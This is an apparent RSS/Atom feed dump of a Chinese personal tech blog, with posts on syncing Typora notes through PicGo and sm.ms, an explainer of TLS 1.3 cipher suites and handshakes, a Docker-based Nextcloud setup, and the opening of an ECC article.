Houser Yuen Hexo https://www.h0u5er.com/ All rights reserved 2026, Houser Yuen Houser's Blog 2021-10-12T09:54:44.000Z Houser Yuen Typora + git + smms图床实现同步笔记

Github配置

创建私有仓库，配置SSH密钥，部署git环境

https://www.liaoxuefeng.com/wiki/896043488029600

SM图床配置

部署Node.js和Picgo-core, 默认上传图床为sm.ms

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
houser@Housers-MacBook-Pro ~ % brew install node
houser@Housers-MacBook-Pro ~ % node --version
v16.11.0
houser@Housers-MacBook-Pro ~ % npm -v
8.0.0
houser@Housers-MacBook-Pro ~ % npm install picgo -g
houser@Housers-MacBook-Pro ~ % picgo -version
1.4.26
houser@Housers-MacBook-Pro ~ % picgo use uploader// 配置图床，默认是sm.ms //
houser@Housers-MacBook-Pro ~ % cat ~/.picgo/config.json 
{
  "picBed": {
    "uploader": "smms",
  "smms":{
"token":"Paste your smms API Token here"
}
},
  "picgoPlugins": {}
}

Picgo命令行测试

1
2
3
4
5
6
7
8
houser@Housers-MacBook-Pro Desktop % cd ~/Desktop
houser@Housers-MacBook-Pro Desktop % picgo u ./test.png  // 一张随便在Typora网站上复制的图片 //
[PicGo INFO]: Before transform
[PicGo INFO]: Transforming... Current transformer is [path]
[PicGo INFO]: Before upload
[PicGo INFO]: Uploading... Current uploader is [smms]
[PicGo SUCCESS]: 
https://i.loli.net/2021/10/12/ZUGhV1fWmFTLxl9.png

Typor 拖拽上传测试

Typora_picgo_command

参考链接

https://mp.weixin.qq.com/s/w6-LQLAApN7HhXaBwslegw

]]> https://www.h0u5er.com/typora/ 2021-10-12T09:54:44.000Z Typora + git]]> Typora + git + smms图床实现同步笔记 2021-10-12T09:54:44.000Z Houser Yuen TLS1.0.jpeg

开场白

我的博客在2020年正式用上了TLS1.3，那它其实香不香？在学习的过程中发现一个有趣的地方，IETF有意无意的让RFC号（request for comment）都保持以“46”结尾。

RFC2246，TLS1.0.发布于1999年；

RFC4346，TLS1.1发布于2006年；

RFC5246，TLS1.2发布于2008年；

RFC8446，TLS1.3发布于2018年；

SSL/TLS究竟是什么关系？

很多教科书都会这样描述：TLS1.0可以称为SSL3.1，TLS1.1可以称为SSL3.2，TLS1.2称之为SSL3.3。虽然这两个协议都是为了保障数据的通信安全，但实际上SSL协议和TLS协议有什么区别吗？

首先网上对SSL和TLS所属的工作层次有很多争论，我认为不论是OSI模型或者TCP/IP模型，都只是便于我们研究抽象概念的工具。按照微软的定义，TLS协议和 SSL协议都位于应用程序协议层和 TCP/IP 层之间，在此层中，可以保护应用程序数据并将其发送到传输层。而按照维基百科的定义，TLS协议和SSL协议都归属于表示层，但其也认为并不完全恰当。

我认为两者最主要的差别是建立SSL连接和TLS连接（指 handshake）是不一样的。一方面，SSL握手通过端口进行显式连接，而TLS则是通过协议进行隐式连接。另一方面，SSL和TLS使用的密码套件不一样。密码套件的组成包括密钥交换算法，认证算法，对称加密算法和消息认证码（MAC）算法。每个SSL版本或TLS版本都有其所支持的密码套件，并且TLS协议仍在不断的推出更安全的套件，以提高安全性和连接性能，也因此TLS协议成为了当今主流，而SSL已经从历史舞台退出。

综上，SSL和TLS本质是两种不同的协议，且SSL和TLS是无法互相兼容，但SSL和TLS都是为了安全而生。

已知的SSL/TLS问题

自2020年3月起，各大浏览器都陆续宣布将慢慢的不再支持TLS1.0和TLS1.1协议，因为旧版本的SSL或TLS容易被攻击者利用，引发安全问题，那究竟问题都有哪些？

  • FREAK（Factoring RSA Export Keys）攻击，本质是因为加密密钥的长度太短，不足以保护数据的安全。
  • LogJam漏洞，本质上是因为在DH密钥交换过程中使用的公钥强度小于1024bits，以至于无法保护数据的安全。
  • Poodle （Padding Oracle on Downgraded Legacy Encryption）攻击。本质是是SSL3.0中使用了不安全的CBC块加密（Cipher Block Chaining）模式，使得选择明文攻击成为可能。为此攻击者常常还会发起降级攻击，尝试协商并且使用SSL3.0作为通信协议，进而实现Poodle攻击。也存在针对TLS协议的Poodle攻击，称之为TLS Poodle。
  • Beast 攻击，本质是在TLS1.0版本中使用了不安全的CBC块加密模式，使得选择明文攻击成为可能。为此攻击者常常还会发起降级攻击，尝试协商并且使用TLS1.0作为通信协议，进而实现Beast攻击。
  • Lucky 13 攻击，本质是使用了不安全的的CBC块加密模式和基于MAC-then-Encrypt的认证加密模式。影响范围包括 TLS 1.1和TLS1.2。
  • Royal Holloway 攻击。本质是使用了不安全的RC4流加密（Rivest Cipher 4 Stream Cipher）算法。攻击者可以利用相同的纯文本进行加密通信，对大量会话中得出的密文进行统计分析，从而进行纯文本恢复攻击。
  • SLOTH（Security Losses from Obsolete and Truncated Transcript Hashes ）攻击，本质是使用了不安全的MD5算法，使得TLS握手的密钥交换和消息认证过程存在安全风险，影响范围包括TLS1.2。
  • HeardBleed 漏洞，本质是使用了不安全的OpenSSL拓展组件导致的内存泄漏，影响范围包括OpenSSL的1.0.1至1.0.1f 版本。
  • 绕过CA证书检查（CVE-2021-3449 and CVE-2021-3450），本质是使用了不安全的OpenSSL版本，影响范围包括OpenSSL 1.1.1h及后续版本，在OpenSSL 1.1.1k中修复了这个问题。

通过上面的例子，我们发现在旧版本的SSL/TLS主要是密钥强度和算法设计上存在问题。TLS1.3的标准文件中则针对了上述的问题做了许多强制性要求，只有满足条件的密码套件才能被用于TLS1.3。关于选择明文攻击（Chosen-Plaintext Attack），文本恢复攻击，块加密，流加密的相关内容，本博客之前的文章中已有涉及，欢迎查阅。

什么是密码套件

密码套件（Ciphers Suite）的组成包括密钥交换算法，认证算法，对称加密算法和消息认证码（MAC）算法。下面是一台CentOS 8中OpenSSL支持的密码套件，Kx代表密钥交换（Key Exchange），Au代表认证（Authenticate），Enc代表加密（Encryption），Mac代表消息认证码（Message Authentication Code）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[root@t3 ~]# cat /etc/redhat-release 
CentOS Linux release 8.3.2011
[root@t3 ~]# openssl version
OpenSSL 1.1.1g FIPS  21 Apr 2020

[root@t3 ~]# openssl ciphers -v
TLS_AES_256_GCM_SHA384  TLSv1.3 Kx=any      Au=any  Enc=AESGCM(256) Mac=AEAD
TLS_CHACHA20_POLY1305_SHA256 TLSv1.3 Kx=any      Au=any  Enc=CHACHA20/POLY1305(256) Mac=AEAD
TLS_AES_128_GCM_SHA256  TLSv1.3 Kx=any      Au=any  Enc=AESGCM(128) Mac=AEAD
TLS_AES_128_CCM_SHA256  TLSv1.3 Kx=any      Au=any  Enc=AESCCM(128) Mac=AEAD
ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD
ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
......
......
......
......
ECDHE-PSK-AES128-CBC-SHA TLSv1 Kx=ECDHEPSK Au=PSK  Enc=AES(128)  Mac=SHA1

ssl-handshake-ciphers.png

在TLS1.3加密通信之前，客户端和服务器端会进行密码套件的协商。Client Hello的请求中就会列举客户端所支持的全部密码套件，当服务器收到了Client Hello后，会选择双方都支持的密码套件，最终通讯将使用该密码套件对应的算法处理，套件在数据包中用十六进制格式显示。在TLS1.3中是完全禁止重新协商的，意味如果服务器端发现客户端发过来的可选密码套件都不是“我”同意使用的，通信会被中止。这可以防止降级攻击的发生。

譬如下面图二中Server Hello中的0x1301则是协商的结果，因为密码套件是按照优先级顺序排列的。0x1301的意思是在TLS协议通信时，数据加密部分，将使用128bit密钥的GCM（Galois Counter mode）模式的AES对称加密算法，消息完整性部分，将使用SHA256哈希算法。那么密钥交换的方式呢？TLS1.3标准对密码套件的选择进行了许多改进，譬如强制要求只能使用满足完美向前兼容（Perfect Forward Secrecy）的密钥交换算法，因为达不到PFS要求，所以基于RSA的密钥交换算法无法在TLS1.3中使用，也因此TLS1.3协议中可选择的密码套件数量远少于TLS1.2协议的密码套件数量，目前支持TLS1.3的密码套件就只有5种。通过查表得出0x1301使用的密钥交换是采用ECDH的方式，即采用基于椭圆曲线的DH密钥交换算法（Elliptic Curve Diffie-Hellman）。

image1 client hello cipher.png
image2 server hello cipher.png

在TLS1.2的协议中，有可能会出现密码套件仅显示AES256-SHA，代表其加密部分使用AES对称加密算法，数据验证使用SHA算法，而密码套件中缺少描述的密钥交换和认证都将默认使用RSA算法，如0x35。下面的网址可用于查询密码套件与十六进制数的映射关系，以及Mozilla推荐的密码套件配置。

https://testssl.sh/openssl-iana.mapping.html

https://wiki.mozilla.org/Security/Server_Side_TLS

TLS1.3之认证加密

TLS1.3的认证加密强制要求满足AEAD(Authenticated encryption with associated data）。AEAD满足信息安全中对数据的CIA原则，即数据保密性，数据完整性，数据真实性（Confidentiality, Integrity and Authenticity）

首先我们假设一切的通信环境都是不安全的，此时我们引入公钥算法（非对称加密）来实现参数交换，使得通信双方可以安全的协商出用于加密的参数，之后的通信都将用这个参数实现对称加密。这样做的好处是可以安全的得到仅有通信双方才知道的加密参数（由密钥交换获得），而且对称加密算法较于非对称加密算法的运算速度更快，开销更小。此时加密和解密数据都是同一个密钥，但是我们解密得出的内容并不知道是否正确或者是否被篡改，消息认证（完整性）则是为了解决这个问题。解决完整性问题的思路可以有以下3种：

  • Encrypt-then-MAC (EtM) ，首先对明文进行加密，然后根据得到的密文生成消息认证码(Message Authentication Code, MAC)。密文和它的MAC一起发送。IPsec通信使用的就是Encrypt-then-MAC类型的认证加密，目前SSH也支持EtM类型认证加密。
  • MAC-then-Encrypt (MtE) ，基于明文生成MAC，然后将明文和MAC一起加密以生成基于两者的密文。发送密文（包含加密的MAC）。SSL通信和Lucky 13的例子中就是使用了Encrypt-then-MAC类型的认证加密。
  • Encrypt-and-MAC (E&M) ，基于明文生成MAC，并且明文在没有MAC的情况下被加密。明文的MAC和密文一起发送。早期的SSH通信使用的就是Encrypt-and-MAC类型的认证加密。

其中EtM的安全性和灵活性在理论上优于另外两种方案,但是要想实现加密之后再进行MAC的操作是很困难的。上述三种类型的认证加密（EtM, E&M, MtE）在对抗选择明文攻击或抗伪造能力上，都存在缺陷。于是乎AEAD类型的认证加密被设计出来，AEAD吸取了许多类似EtM的思路，但它的加密和MAC的运算是可以同时进行的，譬如AES-GCM算法。

TLS1.3中常见的AES-GCM算法和Chacha20-Poly1305算法都满足AEAD的要求。其中的AES-GCM算法，因为在加密过程的初始向量不会重复使用，所以这避免了类似Poodle的攻击发生（选择明文攻击）。TLS1.3中不再使用RC4流加密和AES-CBC块加密等不安全的算法，因为AES-CBC块加密方式仅能完成数据加密，不能完成数据认证，而AES-GCM不仅可以完成数据加密，还可以使用GMAC运算可以完成数据认证。且因为CBC块加密模式本身设计的原因导致它在数据加密时，不能实现并行运算，运算速度不及GCM模式。Chacha20-Poly1305算法则深受Google公司的喜爱，在Chrome和Android上面很早就开始使用Chacha20-Poly1305算法。

AEAD.png

TLS1.3之密钥交换算法

TLS1.3的密钥交换算法强制要求满足完美向前保密（Perfect Forward Secrecy）的要求。首先，我们要厘清RSA密算法和DH算法的区别，下面的内容我们仅仅在密钥交换的角度比较RSA算法和DH算法的区别，因为DH算法无法实现数字签名的功能，而RSA算法可以。TLS1.3加入了基于椭圆曲线的签名算法，如ECDSA (Elliptic Curve Digital Signature Algorithm, 亦称EdDSA) 算法。在运算速度上，虽然ECDSA签名运算远不及RSA算法快，但是在维持安全性相同的情况下，ECDSA的所需要密钥长度远短于RSA密钥。另外TLS1.3可以同时支持ECDSA和RSA证书的，但是不支持DSA证书。

密钥交换之性能差异

在计算机的加密运算角度上，RSA算法（指用公钥加密数据）比DH算法，甚至ECDH算法都要更快，而且RSA算法的开销更小。在算法支持的角度上，DH算法可以支持椭圆曲线算法的，这使得ECDH（Elliptic Curve Diffie-Hellman）可以使用较短的密钥长度就可以实现较高的安全性。譬如RSA算法要想达到等同于256bit密钥的ECDH安全性，就需要使用约3000bit的密钥长度。但如果DH公钥中还包括DH参数的话，那么它相较于RSA算法还是需要编码更多信息在公钥。

密钥交换之安全性差异

RSA算法其安全性是基于大整数的因素分解是困难的，而DH算法其安全性是基于在有限域上计算离散对数是困难的，两个算法在密钥强度足够健壮的情况下，都是安全的。其次RSA算法和DH算法的专利都已经过失效，大家都可以自由的学习这两个算法的实现原理，其中美国联邦政府更加倾向于使用DH算法。RSA算法的标准主要是由一家叫RSA的私人公司制定，2013年棱镜门事件期间，曾经报道过RSA公司和美国政府合作在算法添加后门的丑闻。

DH算法最大的优势就是可以使用临时密钥（Ephemeral key）替代私钥进行密钥交换，这是让DH算法符合完美向前保密（PFS）重要原因。因为RSA算法和静态的DH算法是使用固定的密钥直接参与运算，如果私钥泄漏或者被攻破的话，那么包括之前全部的加密通信都存在安全风险。而如果使用类似DHE（Diffie-Hellman Ephemeral）的算法，因为避免了私钥直接参与运算，这使得在私钥泄漏或者被攻破的情况下，攻击者也无法解密之前所截获的加密通信。因为当协商完成之后，临时密钥替代私钥参与到了对称加密算法中，而每个会话使用的临时密钥都是不一样的，所以每个会话里所使用的对称加密密钥也是不一样的。

因为临时密钥的特性，使得企业中常见的入侵防御系统（Intrusion Prevention System）或者防火墙等设备都需要升级才能处理TLS1.3流量。此外，使用临时密钥的DH密钥交换依然不能实现身份验证，因为密钥每次都不同，任何一方都不能确定密钥是否来自预期的一方，所以TLS1.3中还应用了ECDSA签名校验，新的PSK（Pre-shared key）机制，和基于HMAC的密钥生成算法(HMAC-based Extract-and-Expand Key Derivation Function，简称HKDF)等技术，他们都是为了提高TLS1.3协议的整体安全性。

decryption-profile-tlsv13-as-min.png

老朋友TLS1.2

TLS1.3中还有两个比较有意思的新特性，第一个，ServerHello之后的所有握手消息都使用了加密处理，提前进入加密通信状态，减少明文握手信息泄漏。第二个，增加0-RTT（Round-trip time），使得会话恢复的速度更快，免去再次握手，节省开销。这两个特性都跟TLS的握手有关系，所以我们有必要了解目前主流的TLS1.2协议是如何完成握手的。我将通过浏览器访问nginx.org建立TLS1.2握手连接，结合Wireshark抓包来剖析握手过程，下图是整个TLS1.2的握手流程，从DNS开始到HTTP数据传输，总共经历5个RTT，其中TLS1.2握手部分占用2个RTT。

tls1.2 handshake.jpg

Client Hello阶段

当TCP协议完成三次握手之后，我们开始进入TLS的握手阶段，第一步是Client Hello，由客户端发起，告知服务器端准备进入TLS握手连接。Client Hello数据包中有非常多的信息，我列举说明其中的一些：

协议版本（Version），表明客户端所期待支持的TLS协议版本；

客户端随机数（Client Random）一共有32字节，其中28字节是随机生成，剩下的4字节是与客户端的时间设置有关。随机数的是为了保护初始数据交换的完整性，也具有防止重放攻击的作用。

会话ID（Session ID），用于表明是不是需要恢复之前的会话，为空则表示没有会话需要恢复。

密码套件（Cipher Suites），表示客户端支持的密码套件，有优先级之分，默认第一个是客户端首选的密码套件。

压缩（Compression），客户端可以提出它所支持的数据压缩算法，在TLS1.3中的记录协议里是禁止使用压缩的。

拓展（Extensions），这部分涉及的内容非常丰富，涉及很多新增的标准协议，主要是为了让TLS协议在不修改协议本身的情况尽可能多的为TLS添加新功能。TLS1.3也是通过在原有TLS1.2的基础上添加许多拓展，来实现TLS1.2兼容TLS1.3标准，便于TLS1.3的推广和部署工作。

Client Hello.png

Server Hello阶段

Server Hello的数据包里面函盖的字段内容和Client Hello的数据包的差不多，只不过服务器端会对客户端提供的参数进行选择，所以每个字段里就只剩下一个选项，譬如例子中连接ngnix.og的时候，就选择密码套件为TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256。需要注意的是，服务器端并不会直接按照客户端Hello数据包中期待的TLS协议版本去连接，而是根据服务器的配置信息给客户端进行回应。在这个阶段中，服务器端会生成服务器端随机数（Server Random），并且还会将服务器的证书发送给客户端来证明自己的身份。

Server Hello.png

Cert.png

Key Exchange阶段

因为在Server Hello阶段中，服务器选择了使用ECDHE的密钥交换算法，所以服务器在发送Hello包之后，会继续发送Server Key Exchange数据包给客户端，这里面包含服务器端的协商参数（Server Params），服务器会使用私钥对Server Params里的公钥进行签名，以确保真实性。到这一步，服务器已经将与客户端进行握手所需要的参数都发送给客户端，可以发送Server Hello Done数据包表示完成，并等待客户端验证和回应。

紧接着，客户端也会生成协商参数（Client Params），加上已经通过明文传输得到的Server Parmas，利用这两个协商（Client Params 和 Server Params）参数便可以通过ECDHE算法安全的计算得出预主密钥（Pre-Master Key），预主密钥并不会直接拿来使用，而是连同已经通过明文传输得到的客户端随机数和服务器端随机数一起进行哈希运算，哈希算法采用上文Server Hello的密码套件中选定的SHA256执行运算，得到固定长度的主密钥（Master Key），因为有两个随机数（Server Random + Client Random + Pre-Master Key）共同参与哈希运算，所以可以保证不同客户端的握手之间，使用不一样的对称加密密钥，且一定程度上保证了对称密钥的随机性。由于预主密钥（Pre-Master Key）是安全的且只有通信双方才知道，所以哈希运算后产生的主密钥（Master Key）也是安全的。主密钥也不会参与到实际的通信中，而是通过密钥生成算法，以主密钥作为初始变量，拓展出一系列派生的密钥串来实现加密，如客户端发送会话用的是对称加密密钥串A，服务器端发送会话用的是对称加密密钥串B。

最后客户端也会发送客户端协商参数（Client Params）给服务器端，之后进入Encrypted Handshake Message状态，表示后续通信将使用对称加密传输。服务器端得到Client Params和Server Params参数，利用同样的办法也可以运算得到一系列派生的对称加密密钥串，也将进入Encrypted Handshake Message状态。

在双方准备告知对方握手结束（完成）之前，会先发送Change Cipher Spec数据包，将之前发送的数据做个信息摘要，然后加密发送。如果双方的加密和解密都正常，那么握手就可以结束。至此，无论客户端还是服务器端派生出来的对称加密密钥串，都符合完美向前安全的条件，接下来的HTTP通信就可以愉快的进行加密传输。

Server Params.png

Client params.png

ECDHE密钥交换原理

为了方便大家理解ECDHE（Elliptic Curve Diffie-Hellman Ephemeral ）的工作原理，我解释一下为什么在明文传输Client Params，Server Parmas，Server Random，Client Random这四个参数的情况下，通信双方还是可以安全的协商出“共享的秘密”，其实这也正是密钥交换技术所要解决的问题。

首先ECC算法的运算流程在本博客之前有一篇文章单独介绍过，我简单总结一下。我们有如下一个二元三次方程组，当a和b的值是恒定的，x和y的数值作为变量的时候，我们就会得到一条曲线。假设a=-1，b=5，那么得到下面的曲线。
$$
y^2=x^3+ax+b
$$

发挥你的想象力，我们发现在坐标的第一区间和第四区间的曲线两端是可以被无限延长的，这其实就跟我们的密钥长度有关，也就是为什么当我们取的密钥长度越长的时候，安全性会更高，因为这个曲线在有限域上的可选数值就越多。根据ECC算法的流程，只要我们一开始给出两个固定的点的坐标，那么我们就可以通过运算得到新的第三个点，第三个点又可以通过运算得到第四个点，第四个点又可以通过运算得到第五个点…….我们可以一直重复的运算下去，假设最后经过N次重复运算得到的点是P。攻击者即使获取了P的坐标和NP运算得出的值，因为科学道理蜘蛛蚂蚁（破解离散对数是困难的），反正攻击者是没办法轻易的逆向破解出N的值，而N的值在ECDHE中可以看作是私钥。在无法确定N值的情况下，最好的攻击办法就剩下穷举，而实际应用的ECDHE算法中，对公开的底数（g）和公开的模数（p）的选择性是有要求的，一般底数是很小的数，常见一般用2，而模数则会选择使用数值很大的素数，暴力破解的难度和成本都变得非常巨大。譬如下图的计算例子中，a和b都是私钥，通过计算后得出的A和B则是可公开的信息，用于交换密钥环节使用。

使用传统计算机（冯诺依曼架构）很难计算离散对数，但是量子计算机已经出现了能够快速计算的算法（Shor’s Algorithm）。如果真能够开发出实用的量子计算机，那么DHE/ECDHE的安全性就会受到极大的挑战，现在正在研究可以替代ECDH的SIDH（超奇异椭圆曲线同源密钥交换算法）—–前奇虎360技术专家罗剑锋（Chrono）

ECDHE.png

TLS1.3的握手过程

通过TLS1.2的整体握手流程图可以得知，正常的TLS1.2握手是需要2-RTT，而正常的TLS1.3一般只需要1-RTT，甚至在利用Early-data和pre_shared_key拓展的情况下可以实现0-RTT，即无须再次握手就可以直接恢复之前的会话，实现加密传输。上述两处优化对移动设备的上网体验上有巨大的提升，下面我将用浏览器访问我本地部署的AdGuard服务的网页端，然后使用Wireshark来抓取TLS1.3的握手数据包。

Client Hello阶段

TLS1.3的Client Hello数据包中新增加了许多拓展，其中的application_layer_protocal_negotiation（APLN）和server_name就是与我们耳熟能详的HTTP2和SNI的设定有关。为了实现1-RTT，我们的思路就是在Client Hello阶段和Server Hello阶段完成在TLS1.2握手对应阶段的后续全部工作，包括密钥交换和加密验证，这样就可以节省一个RTT（Round Trip Time）。为了省去不必要的RTT，客户端不会被动的等待服务器端回应对密码套件的选择，在Client Hello阶段就直接猜测服务器端可能会使用哪种密码套件中的密钥协商算法，然后把所有猜测用到的算法里需要的参数都给服务器端即可。因为TLS1.3对密码套件的挑选要求很高，导致服务器本身可选择的密码套件范围也很小，目前TLS1.3协议就只有5种密码套件类型可选，所以客户端发送全部TLS1.2和TLS1.3协议里，猜测可能会用到参数给服务器，也不会造成数据包过大的问题。

这里就用到了supported_versions，supported_groups，key_share和signature_algorithms等等系列拓展来实现把猜测的参数发给服务器。supported_versions用于告诉对方客户端支持的TLS版本，让对方视情况选择TLS协议版本。supported_groups用于列举出服务器端可能会用到的椭圆曲线算法，譬如在抓取本地AdGuard网页的记录中tls.handshake.extensions_supported_groups就包括6种不同的椭圆曲线算法。key_share则提供了基于X2559和基于P-256两种椭圆曲线的公钥参数，它相当于是客户端的协商参数，并且用signature_algorithms字段的签名算法对它进行签名。

至此，客户端相当于在握手过程中，把相当于Client Params和Client Random都告诉了服务器，接下来就看服务器选择哪种密码套件，就能知道服务器用了哪些参数。

client hello.png

Key—share.png

Server Hello阶段

服务器端通过Client Hello阶段已经拿到了密钥交换运算需要的参数，按照类似TLS1.2的流程，可以派生出用于对称加密密钥的信息。最后，服务器端马上主动发起ChangeCipherSpec的请求，验证对方是否也可以计算出一样的派生密钥，并且把密钥交换需要的服务器端参数告诉客户端，同时还告诉客户端已经选择使用的密码套件。

客户端收到已选择的密码套件和服务器端协商参数之后，派生出同样的对称加密密钥，也发出ChangeCipherSpec的请求，验证双方得出的对称加密密钥是否一致。最后客户端将进入HTTP的数据发送阶段，因此，TLS1.3只需要1-RTT就完成了握手。

server hello.png

TLS1.3的0-RTT

https://blog.cloudflare.com/introducing-0-rtt/

TLS1.3特性总结

TLS1.3在性能和安全方面都有提升。相比与TLS1.2协议，TLS1.3的变化是巨大的。它新增了许多特性，如提前加密TLS握手信息，支持0-RTT，TLS1.3强制要求必须使用AEAD结构(Authenticated Cncryption with Additional Data）的对称加密算法，TLS1.3需要强制性满足完美前向保密（Perfect Forward Secrecy）等等。也是因为上述特性，意味着TLS1.3必然要移除许多特性，如删除静态RSA密钥协商，删除DH密码套件，禁用安全性不足的对称加密算法，不再使用MD5和SHA1算法，不再使用传统的分组加密模式等等。此外TLS1.3是完全禁止重新协商的和协议记录压缩。

TLS1.3值得吗？

开场白中提到的，TLS1.3香不香？或者说应用TLS1.3值不值得？

为了让我的博客应用TLS1.3，我手动编译了Nginx，因为需要添加高版本的OpenSSL组件才能兼容TLS1.3。这对需要应用TLS1.3的个人或小型企业来说，实现起来不算太困难，但TLS1.3特性所带来的提升对个人或小企业来说也似乎不那么重要。而对有高并发，海量用户访问需求的中大型企业来说，因为他们的架构本身就很复杂，如果要应用TLS1.3的话，会涉及到很多方面的改动。原有的TLS1.2甚至TLS1.1也不见得让他们无法接受。毕竟TLS1.2从2008年发布至今，已经经历十余年的应用，TLS1.3的覆盖仍需时间。

最后，即便工程师们把TLS标准设计的再安全，也无法阻止你把123456作为密码。

solawinds password.jpg

参考资料

https://tools.ietf.org/html/rfc8446

https://blog.cloudflare.com/rfc-8446-aka-tls-1-3/

https://time.geekbang.org/column/article/110354

]]> https://www.h0u5er.com/tls1-3/ 2021-02-09T16:00:00.000Z TLS1.0.jpeg

 漫谈 TLS 1.3 2021-02-09T16:00:00.000Z Houser Yuen 一段废话

上学时期有做大量笔记的需求，作为一个妥妥的“盗版用户”，笔记本自带的OneNote就用了四年。外加我对数据有洁癖，笔记本差不多几个月就要彻底重装一次系统，当年我的“重要数据”都是靠手工备份到移动硬盘，当然，有加密。

直到开始写点东西，爱上Markdown，公司也配了正版Microsoft全家桶，包括1T Onedrive per user。可我这个时候就开始作了：OneNote不支持Markdown、自己做的笔记太乱了看着糟心、Onedrive 同步龟速，考虑过NAS + Typora，没钱，懒。其实我更像在寻找适合我的存储方式和笔记软件。

体验和需求

无论用Onedrive或是Github作为存储空间，都是不错的设计想法，但是国情不允许。我是在Windows和MacOS的两种环境办公，因此笔记必须支持跨设备同步，而且它在Windows界面下起码不要太难看。。。数据洁癖那部分，是因为我有随时随地开text来记录信息的习惯，包括一些敏感数据，所以希望尊重我的隐私权和加密的需求。

为什么选择 Joplin

选累了，看完官方功能介绍，有一种遇到了真爱的感觉。

那么是Nextcloud还是Seafile？

花了一晚上看资料和大家的心得，发现两个产品的slogan都写的很好。最后还是选择了Nextcloud，一是对GDPR有盲目自信，二是发现有docker部署，省事（结果折腾更久）

Your Data Safety is our First Priority, Seafile.

You should control your data,Nextcloud.

附 Nextcloud 的体验地址：https://demo.nextcloud.com/

附 Seafile 的体验地址：https://demo.seafile.com/demo

Show me your code

文件结构

Nextcloud官方在Github上有几个非常棒的例子，所有文件均可以在官方Github找到，略微调整后即可上线。

1
2
3
4
5
6
7
[root@h0u5er nextcloud_with_ssl]# tree .
.
├── db.env
├── docker-compose.yml
└── proxy
    ├── Dockerfile
    └── uploadsize.conf

定义proxy镜像

我没有把 jwilder/nginx-proxy 拆分成 nginx 和 jwilder/docker-gen 两个容器运行, 拆开的话安全性会好一点，因为减少了nginx对外暴露 docker socket 的风险。

1
2
3
4
5
6
7
8
[root@h0u5er proxy]# cat Dockerfile 
FROM jwilder/nginx-proxy:alpine

COPY uploadsize.conf /etc/nginx/conf.d/uploadsize.conf

[root@h0u5er proxy]# cat uploadsize.conf 
client_max_body_size 10G;
proxy_request_buffering off;

本站已经全站docker化，但请忽略v2fly和Hexo的部分，因为本文不涉及：

Docker.jpg

**docker-compose.yml **

数据库密码，虚拟主机，SSL的信息需要根据实际情况调整。我用的是 nextcloud:apache 镜像，因此docker-compose包含apache。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
version: '3'

services:
  db:
    image: mariadb
    command: --transaction-isolation=READ-COMMITTED --binlog-format=ROW
    restart: always
    volumes:
      - db:/var/lib/mysql
    environment:
      - MYSQL_ROOT_PASSWORD=Your_SQL_Password
    env_file:
      - db.env
  app:
    image: nextcloud:apache
    restart: always
    volumes:
      - nextcloud:/var/www/html
    environment:
      - VIRTUAL_HOST=drive.example.com
      - LETSENCRYPT_HOST=drive.example.com
      - LETSENCRYPT_EMAIL=Your_Email@mail.com
      - MYSQL_HOST=db
    env_file:
      - db.env
    depends_on:
      - db
    networks:
      - proxy-tier
      - default
  blog:
    image: nginx
    container_name: blog
    restart: always
    volumes: 
      - /var/www/public:/usr/share/nginx/html
    environment:
      - VIRTUAL_HOST=www.example.com,example.com
      - LETSENCRYPT_HOST=www.example.com,example.com
      - LETSENCRYPT_EMAIL=Your_Email@mail.com
    networks:
      - proxy-tier
  proxy:
    build: ./proxy
    restart: always
    ports:
      - 80:80
      - 443:443
    labels:
      com.github.jrcs.letsencrypt_nginx_proxy_companion.nginx_proxy: "true"
    volumes:
      - certs:/etc/nginx/certs:ro
      - vhost.d:/etc/nginx/vhost.d
      - html:/usr/share/nginx/html
      - /var/run/docker.sock:/tmp/docker.sock:ro
    networks:
      - proxy-tier
  letsencrypt-companion:
    image: jrcs/letsencrypt-nginx-proxy-companion
    restart: always
    volumes:
      - certs:/etc/nginx/certs
      - vhost.d:/etc/nginx/vhost.d
      - html:/usr/share/nginx/html
      - /var/run/docker.sock:/var/run/docker.sock:ro
    networks:
      - proxy-tier
    depends_on:
      - proxy
volumes:
  db:
  nextcloud:
  certs:
  vhost.d:
  html:
  public:
networks:
  proxy-tier:

最后

有几个弊端要提一下，因为nginx.tmpl配置已经预定义了一些设置，和我之前用不同配置文件控制的方式有点不一样，所以后面关于nginx调整404页面转跳，安全设置等等也没有放出来。docker-compose集成了Let’s Encrypt镜像，当重启docker-compose之后，是会触发证书申请或续签的，那么如果90天后证书失效，仅希望平滑重启Let’s Encrypt镜像的时候，需要用到特殊的命令来操作。对个人使用而言，暂时没看出来全站docker化之后的优势。

未来我会考虑修改一下网站的架构，在原有源码安装的nginx中，添加up stream来连接docker安装的nextcloud，其他保留源码安装。

]]> https://www.h0u5er.com/nextcloud-installation/ 2020-04-14T16:00:00.000Z 一段废话

上学时期有做大量笔记的需求，作为一个妥妥的“盗版用户”，笔记本自带的OneNote就用了四年。外加我对数据有洁癖，笔记本差不]]>

从云笔记到Docker入门 2020-04-14T16:00:00.000Z Houser Yuen 在阮一峰的博客上发现一篇有意思的推荐文章，讲述了椭圆曲线加密算法（Elliptic Curve Cryptography）的实现原理，原作者友好的将文章使用的源代码放在了Github供读者使用，我也成功在Ubuntu搭建起了实验环境。此文的原意并不是深究ECC算法是如何实现安全地加密，而是让感兴趣的读者可以易于理解ECC算法的基本逻辑，我也不是密码学方面的专家，所以文章不严谨的地方烦请斧正。

We also don’t want to dig too deep into the mathematical rabbit hole

首先，我们有一个二元三次方程组。

$$
y^2=x^3+ax+b
$$
在假设a=-1，b=5的情况下，我们可以得到如下图的曲线：

